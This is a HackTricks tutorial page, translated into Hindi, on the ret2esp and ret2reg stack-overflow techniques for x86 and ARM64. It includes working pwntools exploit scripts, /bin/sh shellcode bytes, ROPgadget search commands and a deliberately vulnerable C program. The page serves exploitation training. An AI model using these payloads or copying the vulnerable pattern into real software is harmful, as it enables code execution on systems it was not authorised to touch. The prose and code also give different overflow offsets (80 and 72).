Ret2esp / Ret2reg
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Ret2esp
क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को jmp esp
या call esp
इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक EIP के ओवरराइट होने के बाद रखा जाता है। जब ret
इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, जो ठीक उसी स्थान पर है जहां शेलकोड संग्रहीत है।
यदि एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR) Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले jmp esp
या call esp
इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, ASLR सक्रिय होने पर, आपको इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको PIE को हराने की आवश्यकता हो सकती है)।
इसके अलावा, EIP भ्रष्टाचार के बाद शेलकोड रखने में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी push
या pop
इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो।
स्थान की कमी
यदि आप RIP को ओवरराइट करने के बाद लिखने के लिए स्थान की कमी महसूस कर रहे हैं (शायद केवल कुछ बाइट्स), तो एक प्रारंभिक jmp
शेलकोड लिखें जैसे:
sub rsp, 0x30
jmp rsp
और स्टैक में जल्दी शेलकोड लिखें।
उदाहरण
आप इस तकनीक का एक उदाहरण https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp में एक अंतिम एक्सप्लॉइट के साथ पा सकते हैं:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
आप इस तकनीक का एक और उदाहरण देख सकते हैं https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html। यहाँ एक बफर ओवरफ्लो है जिसमें NX सक्षम नहीं है, एक गैजेट का उपयोग किया गया है $esp
के पते को कम करने के लिए और फिर jmp esp;
का उपयोग करके शेलकोड पर कूदने के लिए:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
इसी तरह, यदि हम जानते हैं कि एक फ़ंक्शन उस पते को लौटाता है जहाँ शेलकोड संग्रहीत है, तो हम call eax
या jmp eax
निर्देशों का उपयोग कर सकते हैं (जिसे ret2eax तकनीक के रूप में जाना जाता है), जो हमारे शेलकोड को निष्पादित करने का एक और तरीका प्रदान करता है। जैसे eax, कोई अन्य रजिस्टर जिसमें एक दिलचस्प पता हो, का उपयोग किया जा सकता है (ret2reg).
उदाहरण
आप कुछ उदाहरण यहाँ पा सकते हैं:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
eax
में उस बफर का पता संग्रहीत करेगा जहाँ शेलकोड संग्रहीत था औरeax
को अधिलेखित नहीं किया जा रहा है, इसलिएret2eax
का उपयोग करना संभव है।
ARM64
Ret2sp
ARM64 में कोई निर्देश नहीं हैं जो SP रजिस्टर पर कूदने की अनुमति देते हैं। यह संभव हो सकता है कि एक गैजेट मिले जो sp को एक रजिस्टर में स्थानांतरित करता है और फिर उस रजिस्टर पर कूदता है, लेकिन मेरी काली की libc में मुझे ऐसा कोई गैजेट नहीं मिला:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
मैंने केवल वही खोजा जो उस रजिस्ट्र्री के मान को बदल देगा जहाँ sp को कूदने से पहले कॉपी किया गया था (इसलिए यह बेकार हो जाएगा):
.png)
Ret2reg
यदि किसी रजिस्ट्र्री का एक दिलचस्प पता है, तो इसे कूदने के लिए केवल उचित निर्देश खोजकर कूदना संभव है। आप कुछ ऐसा उपयोग कर सकते हैं:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
ARM64 में, यह x0
है जो एक फ़ंक्शन का लौटने वाला मान संग्रहीत करता है, इसलिए यह हो सकता है कि x0 एक बफर का पता संग्रहीत करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।
उदाहरण कोड:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
फंक्शन के डिसअसेंबली की जांच करने पर यह देखा जा सकता है कि बफर का पता (bof के लिए संवेदनशील और उपयोगकर्ता द्वारा नियंत्रित) x0
में संग्रहीत है, बफर ओवरफ्लो से लौटने से पहले:
.png)
यह भी संभव है कि do_stuff
फंक्शन में गैजेट br x0
पाया जाए:
.png)
हम उस गैजेट का उपयोग करेंगे क्योंकि बाइनरी बिना PIE के संकलित है। एक पैटर्न का उपयोग करके यह देखा जा सकता है कि बफर ओवरफ्लो का ऑफसेट 80 है, इसलिए एक्सप्लॉइट होगा:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
यदि fgets
के बजाय कुछ ऐसा read
का उपयोग किया गया होता, तो केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके br x0;
इंस्ट्रक्शन पर वापस जाना संभव होता बिना पूरे एड्रेस को जाने।
fgets
के साथ यह काम नहीं करता क्योंकि यह अंत में एक नल (0x00) बाइट जोड़ता है।
Protections
- NX: यदि स्टैक निष्पादन योग्य नहीं है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए कूदना है।
- ASLR & PIE: ये किसी इंस्ट्रक्शन को esp या किसी अन्य रजिस्टर पर कूदने के लिए ढूंढना कठिन बना सकते हैं।
References
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।